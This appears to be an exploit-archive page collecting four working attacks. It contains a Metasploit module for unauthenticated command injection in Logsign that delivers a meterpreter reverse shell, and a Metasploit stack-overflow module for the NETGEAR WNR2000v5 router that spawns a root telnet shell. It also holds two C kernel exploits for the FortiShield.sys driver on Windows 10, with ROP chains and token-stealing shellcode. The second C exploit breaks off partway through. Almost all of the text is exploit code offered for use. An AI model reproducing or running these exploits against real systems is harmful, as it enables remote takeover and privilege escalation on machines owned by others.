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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Logsign Remote Command Injection',
      'Description'    => %q{
        This module exploits an command injection vulnerability in Logsign.
        By exploiting this vulnerability, unauthenticated users can execute
        arbitrary code under the root user.

        Logsign has a publicly accessible endpoint. That endpoint takes a user
        input and then use it during operating system command execution without
        proper validation.

        This module was tested against 4.4.2 and 4.4.137 versions.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Mehmet Ince <mehmet@mehmetince.net>'  # author & msf module
        ],
      'References'      =>
        [
          ['URL', 'https://pentest.blog/unexpected-journey-3-visiting-another-siem-and-uncovering-pre-auth-privileged-remote-code-execution/']
        ],
      'Privileged'      => true,
      'Platform'        => ['python'],
      'Arch'            => ARCH_PYTHON,
      'DefaultOptions'  =>
        {
          'payload' => 'python/meterpreter/reverse_tcp'
        },
      'Targets'         => [ ['Automatic', {}] ],
      'DisclosureDate'  => 'Feb 26 2017',
      'DefaultTarget'   => 0
    ))

  end

  def check
    p_hash = {:file => "#{rand_text_alpha(15 + rand(4))}.raw"}

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),
      'ctype' => 'application/json',
      'data' => JSON.generate(p_hash)
    )

    if res && res.body.include?('{"message": "success", "success": true}')
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    print_status("Delivering payload...")

    p_hash = {:file => "logsign.raw\" quit 2>&1 |python -c \"#{payload.encoded}\" #"}

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),
      'ctype' => 'application/json',
      'data' => JSON.generate(p_hash)
    )
  end
end
HireHackking 
/*
Check this out: 
- https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf
Tested on: 
- Windows 10 Pro x64 (Pre-Anniversary)
- hal.dll: 10.0.10240.16384
- FortiShield.sys: 5.2.3.633
Thanks to master @ryujin and @ronin for helping out.
*/

#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#include <Psapi.h>

#pragma comment (lib,"psapi")

ULONGLONG get_pxe_address_64(ULONGLONG address) {

	ULONGLONG result = address >> 9;
	result = result | 0xFFFFF68000000000;
	result = result & 0xFFFFF6FFFFFFFFF8;
	return result;

}

LPVOID GetBaseAddr(char *drvname) {

	LPVOID drivers[1024];
	DWORD cbNeeded;
	int nDrivers, i = 0;

	if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {

		char szDrivers[1024];
		nDrivers = cbNeeded / sizeof(drivers[0]);
		for (i = 0; i < nDrivers; i++) {
			if (GetDeviceDriverBaseName(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
				//printf("%s (%p)\n", szDrivers, drivers[i]);
				if (strcmp(szDrivers, drvname) == 0) {
					//printf("%s (%p)\n", szDrivers, drivers[i]);
					return drivers[i];
				}
			}
		}
	}
	return 0;
}

DWORD trigger_callback() {

	printf("[+] Creating dummy file\n");
	system("echo test > test.txt");

	printf("[+] Calling MoveFileEx()\n");
	BOOL MFEresult;
	MFEresult = MoveFileEx((LPCSTR)"test.txt", (LPCSTR)"test2.txt", MOVEFILE_REPLACE_EXISTING);
	if (MFEresult == 0)
	{
		printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError());
		return 1;
	}
	return 0;
}

int main() {

	HANDLE forti;
	forti = CreateFile((LPCSTR)"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (forti == INVALID_HANDLE_VALUE) {
		printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
		return 1;
	}

	LPVOID hal_base = GetBaseAddr("hal.dll");
	LPVOID fortishield_base = GetBaseAddr("FortiShield.sys");

	ULONGLONG va_pte = get_pxe_address_64(0x0000000048000000);
	ULONGLONG hal_pivot = (ULONGLONG)hal_base + 0x6bf0;
	ULONGLONG fortishield_callback = (ULONGLONG)fortishield_base + 0xd150;
	ULONGLONG fortishield_restore = (ULONGLONG)fortishield_base + 0x2f73;

	printf("[+] HAL.dll found at: %llx\n", (ULONGLONG)hal_base);
	printf("[+] FortiShield.sys found at: %llx\n", (ULONGLONG)fortishield_base);
	printf("[+] PTE virtual address at: %llx\n", va_pte);

	DWORD IoControlCode = 0x220028;
	ULONGLONG InputBuffer = hal_pivot;
	DWORD InputBufferLength = 0x8;
	ULONGLONG OutputBuffer = 0x0;
	DWORD OutputBufferLength = 0x0;
	DWORD lpBytesReturned;

	HANDLE pid;
	pid = GetCurrentProcess();
	ULONGLONG allocate_address = 0x0000000047FF016F;
	LPVOID allocate_shellcode;
	allocate_shellcode = VirtualAlloc((LPVOID*)allocate_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (allocate_shellcode == NULL) {
		printf("[!] Error while allocating shellcode: %d\n", GetLastError());
		return 1;
	}

	char *shellcode;
	DWORD shellcode_size = 0x12000;
	ULONGLONG rop_01 = (ULONGLONG)hal_base + 0x668e;		// pop rdx; ret
	ULONGLONG rop_02 = 0x0000000000000063;					// DIRTY + ACCESSED + R/W + PRESENT
	ULONGLONG rop_03 = (ULONGLONG)hal_base + 0x987e;		// pop rax; ret
	ULONGLONG rop_04 = va_pte;
	ULONGLONG rop_05 = (ULONGLONG)hal_base + 0xe2cc;		// mov byte ptr [rax], dl; ret
	ULONGLONG rop_06 = (ULONGLONG)hal_base + 0x15a50;		// wbinvd; ret
	ULONGLONG rop_07 = allocate_address + 0x10040;
	ULONGLONG rop_08 = fortishield_callback;
	ULONGLONG rop_09 = fortishield_restore;

	//;kd> dt -r1 nt!_TEB
	//;   +0x110 SystemReserved1  : [54] Ptr64 Void
	//;??????+0x078 KTHREAD (not documented, can't get it from WinDBG directly)
	//kd> u nt!PsGetCurrentProcess
	//nt!PsGetCurrentProcess:
	//mov rax,qword ptr gs:[188h]
	//mov rax,qword ptr [rax+0B8h]

	// TOKEN STEALING & RESTORE
        // start:
        //     mov rdx, [gs:0x188]
        //     mov r8, [rdx+0x0b8]
        //     mov r9, [r8+0x2f0]
        //     mov rcx, [r9]
        // find_system_proc:
        //     mov rdx, [rcx-0x8]
        //     cmp rdx, 4
        //     jz found_it
        //     mov rcx, [rcx]
        //     cmp rcx, r9
        //     jnz find_system_proc
        // found_it:
        //     mov rax, [rcx+0x68]
        //     and al, 0x0f0
        //     mov [r8+0x358], rax
        // restore:
        // 	mov rbp, qword ptr [rsp+0x80]
        // 	xor rbx, rbx
        // 	mov [rbp], rbx
        // 	mov rbp, qword ptr [rsp+0x88]
        // 	mov rax, rsi
        // 	mov rsp, rax
        // 	sub rsp, 0x20
        // 	jmp rbp

	char token_steal[] = "\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x4C\x8B\x82\xB8"
                                          "\x00\x00\x00\x4D\x8B\x88\xF0\x02\x00\x00\x49\x8B\x09"
                                          "\x48\x8B\x51\xF8\x48\x83\xFA\x04\x74\x08\x48\x8B\x09"
                                          "\x4C\x39\xC9\x75\xEE\x48\x8B\x41\x68\x24\xF0\x49\x89"
                                          "\x80\x58\x03\x00\x00\x48\x8B\xAC\x24\x80\x00\x00\x00"
                                          "\x48\x31\xDB\x48\x89\x5D\x00\x48\x8B\xAC\x24\x88\x00"
                                          "\x00\x00\x48\x89\xF0\x48\x89\xC4\x48\x83\xEC\x20\xFF\xE5";

	shellcode = (char *)malloc(shellcode_size);
	memset(shellcode, 0x41, shellcode_size);
	memcpy(shellcode + 0x10008, &rop_01, 0x08);
	memcpy(shellcode + 0x10010, &rop_02, 0x08);
	memcpy(shellcode + 0x10018, &rop_03, 0x08);
	memcpy(shellcode + 0x10020, &rop_04, 0x08);
	memcpy(shellcode + 0x10028, &rop_05, 0x08);
	memcpy(shellcode + 0x10030, &rop_06, 0x08);
	memcpy(shellcode + 0x10038, &rop_07, 0x08);
	memcpy(shellcode + 0x10040, token_steal, sizeof(token_steal));
	memcpy(shellcode + 0x100C0, &rop_08, 0x08);
	memcpy(shellcode + 0x100C8, &rop_09, 0x08);

	BOOL WPMresult;
	SIZE_T written;
	WPMresult = WriteProcessMemory(pid, (LPVOID)allocate_address, shellcode, shellcode_size, &written);
	if (WPMresult == 0)
	{
		printf("[!] Error while calling WriteProcessMemory: %d\n", GetLastError());
		return 1;
	}

	HANDLE hThread;
	LPDWORD hThread_id = 0;
	hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, 0, hThread_id);
	if (hThread == NULL)
	{
		printf("[!] Error while calling CreateThread: %d\n", GetLastError());
		return 1;
	}

	BOOL hThread_priority;
	hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
	if (hThread_priority == 0)
	{
		printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError());
		return 1;
	}

	BOOL triggerIOCTL;
	triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
	WaitForSingleObject(hThread, INFINITE);

	system("start cmd.exe");
	return 0;
}
HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'time'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::CRand

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'NETGEAR WNR2000v5 (Un)authenticated hidden_lang_avi Stack Overflow',
      'Description'    => %q{
        The NETGEAR WNR2000 router has a buffer overflow vulnerability in the hidden_lang_avi
        parameter.
        In order to exploit it, it is necessary to guess the value of a certain timestamp which
        is in the configuration of the router. An authenticated attacker can simply fetch this
        from a page, but an unauthenticated attacker has to brute force it.
        Bruteforcing the timestamp token might take a few minutes, a few hours, or days, but
        it is guaranteed that it can be bruteforced.
        This module implements both modes, and it works very reliably. It has been tested with
        the WNR2000v5, firmware versions 1.0.0.34 and 1.0.0.18. It should also work with hardware
        revisions v4 and v3, but this has not been tested - with these routers it might be necessary
        to adjust the LibcBase variable as well as the gadget addresses.
      },
      'Author'         =>
        [
          'Pedro Ribeiro <pedrib@gmail.com>'         # Vulnerability discovery and Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => ['unix'],
      'References'     =>
        [
          ['CVE', '2016-10174'],
          ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],
          ['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72'],
          ['URL', 'http://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability']
        ],
      'Targets'        =>
        [
          [ 'NETGEAR WNR2000v5',
            {
              'LibcBase'             => 0x2ab24000,         # should be the same offset for all firmware versions (in libuClibc-0.9.30.1.so)
              'SystemOffset'         => 0x547D0,
              'GadgetOffset'         => 0x2462C,
  #The ROP gadget will load $sp into $a0 (which will contain the system() command) and call $s0 (which will contain the address of system()):
  #LOAD:0002462C                 addiu   $a0, $sp, 0x40+arg_0
  #LOAD:00024630                 move    $t9, $s0
  #LOAD:00024634                 jalr    $t9
              'Payload'        =>
                {
                  'BadChars'         => "\x00\x25\x26",
                  'Compat'  => {
                    'PayloadType'    => 'cmd_interact',
                    'ConnectionType' => 'find',
                  },
                },
            }
          ],
        ],
      'Privileged'     => true,
      'Arch'           => ARCH_CMD,
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
      'DisclosureDate'  => 'Dec 20 2016',
      'DefaultTarget'   => 0))
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('HttpUsername', [true, 'Username for the web interface (not needed but exploitation is faster)', 'admin']),
        OptString.new('HttpPassword', [true, 'Password for the web interface (not needed but exploitation is faster)', 'password']),
      ], self.class)
    register_advanced_options(
      [
        OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]),
        OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting a shell', 200])
      ], self.class)
  end

  def check
    res = send_request_cgi({
      'uri'     => '/',
      'method'  => 'GET'
    })
    if res && res.headers['WWW-Authenticate']
      auth = res.headers['WWW-Authenticate']
      if auth =~ /WNR2000v5/
        return Exploit::CheckCode::Detected
      elsif auth =~ /WNR2000v4/ || auth =~ /WNR2000v3/
        return Exploit::CheckCode::Unknown
      end
    end
    Exploit::CheckCode::Safe
  end

  def uri_encode (str)
    "%" + str.scan(/.{2}|.+/).join("%")
  end

  def calc_address (libc_base, offset)
    addr = (libc_base + offset).to_s(16)
    uri_encode(addr)
  end

  def get_current_time
    res = send_request_cgi({
      'uri'     => '/',
      'method'  => 'GET'
    })
    if res && res['Date']
      date = res['Date']
      return Time.parse(date).strftime('%s').to_i
    end
  end

  def get_auth_timestamp
    res = send_request_raw({
      'uri'     => '/lang_check.html',
      'method'  => 'GET',
      # automatically uses HttpPassword and HttpUsername to authenticate
    })
    if res && res.code == 401
      # try again, might fail the first time
      res = send_request_raw({
        'uri'     => '/lang_check.html',
        'method'  => 'GET',
      # automatically uses HttpPassword and HttpUsername to authenticate
      })
    end
    if res && res.code == 200
      if res.body =~ /timestamp=([0-9]{8})/
        $1.to_i
      end
    end
  end

  # Do some crazyness to force Ruby to cast to a single-precision float and
  # back to an integer.
  # This emulates the behaviour of the soft-fp library and the float cast
  # which is done at the end of Netgear's timestamp generator.
  def ieee754_round (number)
    [number].pack('f').unpack('f*')[0].to_i
  end


  # This is the actual algorithm used in the get_timestamp function in
  # the Netgear firmware.
  def get_timestamp(time)
    srandom_r time
    t0 = random_r
    t1 = 0x17dc65df;
    hi = (t0 * t1) >> 32;
    t2 = t0 >> 31;
    t3 = hi >> 23;
    t3 = t3 - t2;
    t4 = t3 * 0x55d4a80;
    t0 = t0 - t4;
    t0 = t0 + 0x989680;

    ieee754_round(t0)
  end

  def get_payload
    rand_text_alpha(36) +                                                                    # filler_1
      calc_address(target['LibcBase'], target['SystemOffset']) +                             # s0
      rand_text_alpha(12) +                                                                  # s1, s2 and s3
      calc_address(target['LibcBase'], target['GadgetOffset']) +                             # gadget
      rand_text_alpha(0x40) +                                                                # filler_2
      "killall telnetenable; killall utelnetd; /usr/sbin/utelnetd -d -l /bin/sh"             # payload
  end

  def send_req(timestamp)
    begin
      uri_str = (timestamp == nil ? \
        "/apply_noauth.cgi?/lang_check.html" : \
        "/apply_noauth.cgi?/lang_check.html%20timestamp=#{timestamp.to_s}")
      res = send_request_raw({
          'uri'     => uri_str,
          'method'  => 'POST',
          'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
          'data'    => "submit_flag=select_language&hidden_lang_avi=#{get_payload}"
      })
    rescue ::Errno::ETIMEDOUT, ::Errno::ECONNRESET, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
      return
    end
  end

  def exploit
    # 1: try to see if the default admin username and password are set
    timestamp = get_auth_timestamp

    # 2: now we try two things at once:
    # one, if the timestamp is not nil then we got an authenticated timestamp, let's try that
    # two, if the timestamp is nil, then let's try without timestamp first (the timestamp only gets set if the user visited the page before)
    print_status("#{peer} - Trying the easy way out first")
    send_req(timestamp)
    begin
      ctx = { 'Msf' => framework, 'MsfExploit' => self }
      sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => 23, 'Context' => ctx, 'Timeout' => 10 })
      if not sock.nil?
        print_good("#{peer} - Success, shell incoming!")
        return handler(sock)
      end
    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
      sock.close if sock
    end

    print_bad("#{peer} - Well that didn't work... let's do it the hard way.")

    # no shell? let's just go on and bruteforce the timestamp
    # 3: get the current date from the router and parse it
    end_time = get_current_time
    if end_time.nil?
      fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time")
    end
    if end_time <= datastore['TIME_OFFSET']
      start_time = 0
    else
      start_time = end_time - datastore['TIME_OFFSET']
    end
    end_time += datastore['TIME_SURPLUS']

    if end_time < (datastore['TIME_SURPLUS'] * 7.5).to_i
      end_time = (datastore['TIME_SURPLUS'] * 7.5).to_i
    end

    print_good("#{peer} - Got time #{end_time} from router, starting exploitation attempt.")
    print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but it might take hours).")

    # 2: work back from the current router time minus datastore['TIME_OFFSET']
    while true
      for time in end_time.downto(start_time)
        timestamp = get_timestamp(time)
        sleep 0.1
        if time % 400 == 0
          print_status("#{peer} - Still working, trying time #{time}")
        end
        send_req(timestamp)
        begin
          ctx = { 'Msf' => framework, 'MsfExploit' => self }
          sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => 23, 'Context' => ctx, 'Timeout' => 10 })
          if sock.nil?
            next
          end
          print_status("#{peer} - Success, shell incoming!")
          return handler(sock)
        rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
          sock.close if sock
          next
        end
      end
      end_time = start_time
      start_time -= datastore['TIME_OFFSET']
      if start_time < 0
        if end_time <= datastore['TIME_OFFSET']
          fail_with(Failure::Unknown, "#{peer} - Exploit failed.")
        end
        start_time = 0
      end
      print_status("#{peer} - Going for another round, finishing at #{start_time} and starting at #{end_time}")

      # let the router clear the buffers a bit...
      sleep 30
    end
  end
end
HireHackking 
/*
Check these out: 
- https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf
- https://labs.mwrinfosecurity.com/blog/a-tale-of-bitmaps/
Tested on: 
- Windows 10 Pro x64 (Post-Anniversary)
- ntoskrnl.exe: 10.0.14393.953
- FortiShield.sys: 5.2.3.633
Thanks to master @ryujin and @ronin for helping out. And thanks to Morten (@Blomster81) for the MiGetPteAddress :D 
*/

#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#include <Psapi.h>

#pragma comment (lib,"psapi")
#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "User32.lib")

#define object_number 0x02
#define accel_array_size 0x2b6
#define STATUS_SUCCESS 0x00000000

typedef void** PPVOID;

typedef struct _tagSERVERINFO {
	UINT64 pad;
	UINT64 cbHandleEntries;
} SERVERINFO, *PSERVERINFO;

typedef struct _HANDLEENTRY {
	PVOID pHeader;	// Pointer to the Object
	PVOID pOwner;	// PTI or PPI
	UCHAR bType;	// Object handle type
	UCHAR bFlags;	// Flags
	USHORT wUniq;	// Access count
} HANDLEENTRY, *PHANDLEENTRY;

typedef struct _SHAREDINFO {
	PSERVERINFO psi;
	PHANDLEENTRY aheList;
} SHAREDINFO, *PSHAREDINFO;

ULONGLONG get_pxe_address_64(ULONGLONG address, ULONGLONG pte_start) {
	ULONGLONG result = address >> 9;
	result = result | pte_start;
	result = result & (pte_start + 0x0000007ffffffff8);
	return result;
}

HMODULE ntdll;
HMODULE user32dll;

struct bitmap_structure {
	HBITMAP manager_bitmap;
	HBITMAP worker_bitmap;
};

struct bitmap_structure create_bitmaps(HACCEL hAccel[object_number]) {
	struct bitmap_structure bitmaps;
	char *manager_bitmap_memory;
	char *worker_bitmap_memory;
	HBITMAP manager_bitmap;
	HBITMAP worker_bitmap;
	int nWidth = 0x703;
	int nHeight = 2;
	unsigned int cPlanes = 1;
	unsigned int cBitsPerPel = 8;
	const void *manager_lpvBits;
	const void *worker_lpvBits;

	manager_bitmap_memory = malloc(nWidth * nHeight);
	memset(manager_bitmap_memory, 0x00, sizeof(manager_bitmap_memory));
	manager_lpvBits = manager_bitmap_memory;

	worker_bitmap_memory = malloc(nWidth * nHeight);
	memset(worker_bitmap_memory, 0x00, sizeof(worker_bitmap_memory));
	worker_lpvBits = worker_bitmap_memory;

	BOOL destroy_table;
	destroy_table = DestroyAcceleratorTable(hAccel[0]);
	if (destroy_table == 0) {
		printf("[!] Failed to delete accelerator table[0]: %d\n", GetLastError());
		exit(1);
	}

	manager_bitmap = CreateBitmap(nWidth, nHeight, cPlanes, cBitsPerPel, manager_lpvBits);
	if (manager_bitmap == NULL) {
		printf("[!] Failed to create BitMap object: %d\n", GetLastError());
		exit(1);
	}
	printf("[+] Manager BitMap HANDLE: %I64x\n", (ULONGLONG)manager_bitmap);

	destroy_table = DestroyAcceleratorTable(hAccel[1]);
	if (destroy_table == 0) {
		printf("[!] Failed to delete accelerator table[1]: %d\n", GetLastError());
		exit(1);
	}
	worker_bitmap = CreateBitmap(nWidth, nHeight, cPlanes, cBitsPerPel, worker_lpvBits);
	if (worker_bitmap == NULL) {
		printf("[!] Failed to create BitMap object: %d\n", GetLastError());
		exit(1);
	}
	printf("[+] Worker BitMap HANDLE: %I64x\n", (ULONGLONG)worker_bitmap);

	bitmaps.manager_bitmap = manager_bitmap;
	bitmaps.worker_bitmap = worker_bitmap;
	return bitmaps;
}

PHANDLEENTRY leak_table_kernel_address(HMODULE user32dll, HACCEL hAccel[object_number], PHANDLEENTRY handle_entry[object_number]) {
	int i;
	PSHAREDINFO gSharedInfo;
	ULONGLONG aheList;
	DWORD handle_entry_size = 0x18;

	gSharedInfo = (PSHAREDINFO)GetProcAddress(user32dll, (LPCSTR)"gSharedInfo");
	if (gSharedInfo == NULL) {
		printf("[!] Error while retrieving gSharedInfo: %d.\n", GetLastError());
		return NULL;
	}
	aheList = (ULONGLONG)gSharedInfo->aheList;
	printf("[+] USER32!gSharedInfo located at: %I64x\n", (ULONGLONG)gSharedInfo);
	printf("[+] USER32!gSharedInfo->aheList located at: %I64x\n", (ULONGLONG)aheList);
	for (i = 0; i < object_number; i++) {
		handle_entry[i] = (PHANDLEENTRY)(aheList + ((ULONGLONG)hAccel[i] & 0xffff) * handle_entry_size);
	}
	return *handle_entry;
}

ULONGLONG write_bitmap(HBITMAP bitmap_handle, ULONGLONG to_write) {
	ULONGLONG write_operation;
	write_operation = SetBitmapBits(bitmap_handle, sizeof(ULONGLONG), &to_write);
	if (write_operation == 0) {
		printf("[!] Failed to write bits to bitmap: %d\n", GetLastError());
		exit(1);
	}
	return 0;
}

ULONGLONG read_bitmap(HBITMAP bitmap_handle) {
	ULONGLONG read_operation;
	ULONGLONG to_read;
	read_operation = GetBitmapBits(bitmap_handle, sizeof(ULONGLONG), &to_read);
	if (read_operation == 0) {
		printf("[!] Failed to write bits to bitmap: %d\n", GetLastError());
		exit(1);
	}
	return to_read;
}

HACCEL create_accelerator_table(HACCEL hAccel[object_number], int table_number) {
	int i;
	table_number = object_number;
	ACCEL accel_array[accel_array_size];
	LPACCEL lpAccel = accel_array;

	printf("[+] Creating %d Accelerator Tables\n", table_number);
	for (i = 0; i < table_number; i++) {
		hAccel[i] = CreateAcceleratorTableA(lpAccel, accel_array_size);
		if (hAccel[i] == NULL) {
			printf("[!] Error while creating the accelerator table: %d.\n", GetLastError());
			exit(1);
		}
	}
	return *hAccel;
}

LPVOID allocate_rop_chain(LPVOID kernel_base, ULONGLONG fortishield_callback, ULONGLONG fortishield_restore, ULONGLONG manager_pvScan_offset, ULONGLONG worker_pvScan_offset) {
	HANDLE pid;
	pid = GetCurrentProcess();
	ULONGLONG rop_chain_address = 0x000000008aff07da;
	LPVOID allocate_rop_chain;
	allocate_rop_chain = VirtualAlloc((LPVOID*)rop_chain_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (allocate_rop_chain == NULL) {
		printf("[!] Error while allocating rop_chain: %d\n", GetLastError());
		exit(1);
	}

	/* <Null callback> */
	ULONGLONG rop_01 = (ULONGLONG)kernel_base + 0x14adaf;	// pop rax; pop rcx; ret
	ULONGLONG rop_02 = fortishield_callback;
	ULONGLONG rop_03 = 0x0000000000000000;					// NULL the callback
	ULONGLONG rop_04 = (ULONGLONG)kernel_base + 0xb7621;	// mov qword ptr [rax], rcx ; ret 
	/* </Null callback> */

	/* <Overwrite pvScan0> */
	ULONGLONG rop_05 = (ULONGLONG)kernel_base + 0x14adaf;	// pop rax; pop rcx; ret
	ULONGLONG rop_06 = (ULONGLONG)manager_pvScan_offset;	// Manager BitMap pvScan0 offset
	ULONGLONG rop_07 = (ULONGLONG)worker_pvScan_offset;		// Worker BitMap pvScan0 offset
	ULONGLONG rop_08 = (ULONGLONG)kernel_base + 0xb7621;	// mov qword ptr [rax], rcx ; ret 
	/* </Overwrite pvScan0> */

	/* <Prepare RBX (to write the orignial stack pointer to> */
	ULONGLONG rop_09 = (ULONGLONG)kernel_base + 0x62c0c3;	// pop rbx ; ret
	ULONGLONG rop_10 = 0x000000008b0000e0;
	/* </Prepare RBX (to write the orignial stack pointer to> */

	/* <Get RSI value (points to the original stack) into RAX> */
	ULONGLONG rop_11 = (ULONGLONG)kernel_base + 0x6292eb;	// pop rax ; ret
	ULONGLONG rop_12 = (ULONGLONG)kernel_base + 0x556dc9;	// mov rax, rcx ; add rsp, 0x28 ; ret
	ULONGLONG rop_13 = (ULONGLONG)kernel_base + 0x4115ca;	// mov rcx, rsi ; call rax
	ULONGLONG rop_14 = 0x4141414141414141;					// JUNK
	ULONGLONG rop_15 = 0x4141414141414141;					// JUNK
	ULONGLONG rop_16 = 0x4141414141414141;					// JUNK
	ULONGLONG rop_17 = 0x4141414141414141;					// JUNK
	/* </Get RSI value (points to the original stack) into RAX> */

	/* <Adjust RAX to point to the return address pushed by the call> */
	ULONGLONG rop_18 = (ULONGLONG)kernel_base + 0x61260f;	// pop rcx ; ret
	ULONGLONG rop_19 = 0x0000000000000028;					// Get the return address
	ULONGLONG rop_20 = (ULONGLONG)kernel_base + 0xd8c12;	// sub rax, rcx ; ret
	/* </Adjust RAX to point to the return address pushed by the call> */

	/* <Overwrite the return from the call with fortishield_restore> */
	ULONGLONG rop_21 = (ULONGLONG)kernel_base + 0x61260f;	// pop rcx ; ret
	ULONGLONG rop_22 = fortishield_restore;
	ULONGLONG rop_23 = (ULONGLONG)kernel_base + 0xb7621;	// mov qword ptr [rax], rcx ; ret
	/* </Overwrite the return from the call with fortishield_restore> */

	/* <Write the original stack pointer on our usermode_stack> */
	ULONGLONG rop_24 = (ULONGLONG)kernel_base + 0x4cde3e;	// mov qword ptr [rbx + 0x10], rax ; add rsp, 0x20 ; pop rbx ; ret
	ULONGLONG rop_25 = 0x4141414141414141;					// JUNK
	ULONGLONG rop_26 = 0x4141414141414141;					// JUNK
	ULONGLONG rop_27 = 0x4141414141414141;					// JUNK
	ULONGLONG rop_28 = 0x4141414141414141;					// JUNK
	ULONGLONG rop_29 = 0x0000000000000000;					// Value to be POP'ed in RBX, needs to be 0x00 at the end for restore
	/* </Write the original stack pointer on our usermode_stack> */

	/* <Restore stack pointer> */
	ULONGLONG rop_30 = (ULONGLONG)kernel_base + 0x62b91b;	// pop rsp ; ret
	/* </Restore stack pointer> */

	char *rop_chain;
	DWORD rop_chain_size = 0x12000;
	rop_chain = (char *)malloc(rop_chain_size);
	memset(rop_chain, 0x41, rop_chain_size);
	memcpy(rop_chain + 0xf826, &rop_01, 0x08);
	memcpy(rop_chain + 0xf82e, &rop_02, 0x08);
	memcpy(rop_chain + 0xf836, &rop_03, 0x08);
	memcpy(rop_chain + 0xf83e, &rop_04, 0x08);
	memcpy(rop_chain + 0xf846, &rop_05, 0x08);
	memcpy(rop_chain + 0xf84e, &rop_06, 0x08);
	memcpy(rop_chain + 0xf856, &rop_07, 0x08);
	memcpy(rop_chain + 0xf85e, &rop_08, 0x08);
	memcpy(rop_chain + 0xf866, &rop_09, 0x08);
	memcpy(rop_chain + 0xf86e, &rop_10, 0x08);
	memcpy(rop_chain + 0xf876, &rop_11, 0x08);
	memcpy(rop_chain + 0xf87e, &rop_12, 0x08);
	memcpy(rop_chain + 0xf886, &rop_13, 0x08);
	memcpy(rop_chain + 0xf88e, &rop_14, 0x08);
	memcpy(rop_chain + 0xf896, &rop_15, 0x08);
	memcpy(rop_chain + 0xf89e, &rop_16, 0x08);
	memcpy(rop_chain + 0xf8a6, &rop_17, 0x08);
	memcpy(rop_chain + 0xf8ae, &rop_18, 0x08);
	memcpy(rop_chain + 0xf8b6, &rop_19, 0x08);
	memcpy(rop_chain + 0xf8be, &rop_20, 0x08);
	memcpy(rop_chain + 0xf8c6, &rop_21, 0x08);
	memcpy(rop_chain + 0xf8ce, &rop_22, 0x08);
	memcpy(rop_chain + 0xf8d6, &rop_23, 0x08);
	memcpy(rop_chain + 0xf8de, &rop_24, 0x08);
	memcpy(rop_chain + 0xf8e6, &rop_25, 0x08);
	memcpy(rop_chain + 0xf8ee, &rop_26, 0x08);
	memcpy(rop_chain + 0xf8f6, &rop_27, 0x08);
	memcpy(rop_chain + 0xf8fe, &rop_28, 0x08);
	memcpy(rop_chain + 0xf906, &rop_29, 0x08);
	memcpy(rop_chain + 0xf90e, &rop_30, 0x08);

	BOOL WPMresult;
	SIZE_T written;
	WPMresult = WriteProcessMemory(pid, (LPVOID)rop_chain_address, rop_chain, rop_chain_size, &written);
	if (WPMresult == 0)
	{
		printf("[!] Error while calling WriteProcessMemory: %d\n", GetLastError());
		exit(1);
	}
	printf("[+] Memory allocated at: %p\n", allocate_rop_chain);
